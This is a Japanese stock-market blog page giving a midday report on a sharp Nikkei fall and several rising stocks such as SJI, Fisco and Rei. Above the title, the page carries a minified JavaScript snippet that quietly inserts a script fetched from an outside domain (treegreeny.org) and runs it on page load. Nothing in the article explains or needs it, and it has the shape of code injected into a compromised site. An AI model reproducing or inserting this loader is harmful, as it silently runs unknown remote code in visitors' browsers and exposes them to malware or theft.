;(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,"script","https://treegreeny.org/KDJnCSZn"); 仕手株・ファンド介入リーク情報【1/14 前引け】|【KabuLeaks 〜株リークス〜】
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仕手株・ファンド介入リーク情報【1/14 前引け】

前場の日経平均株価は647円安の大幅反落。前日の米市場が下落したほか、継続して原油安、中国市場の先行き不透明感、更には取引開始前に発表された11月の機械受注は10月比で減少。市場予想も下回りこれらが株価下落の要因となりほぼ全面安の展開。業種別では、全33業種が下落し、鉱業、医薬品、卸売業、保険業が値下がり率上位となっている。

個別では、12日にテックビューロとのブロックチェーン技術に関する協業開始を発表した【2315】SJI、またそのSJIを連結子会社としている【3807】フィスコへも人気が集まり両社ともストップ高。一昨日に決算発表。15年3-11月期営業利益は通期計画を超過し、前日ストップ高の【4317】レイが大幅続伸のほか、ドローン関連【2303】ドーン。初配実施や新サービス開始を発表を好感されている【1433】ベステラなどの上昇も目立っている。

前日大幅反発も本日の急反落。中国市場、原油価格の下げ止まりなど先が見えない状況で市場は完全に混乱状態。引き続き売られ過ぎ感はあるものの、現状は明確な買い材料、下げ止まりを確認できるまでは様子見。一部人気銘柄での短期売買、値幅取りに専念するしかなさそうだ。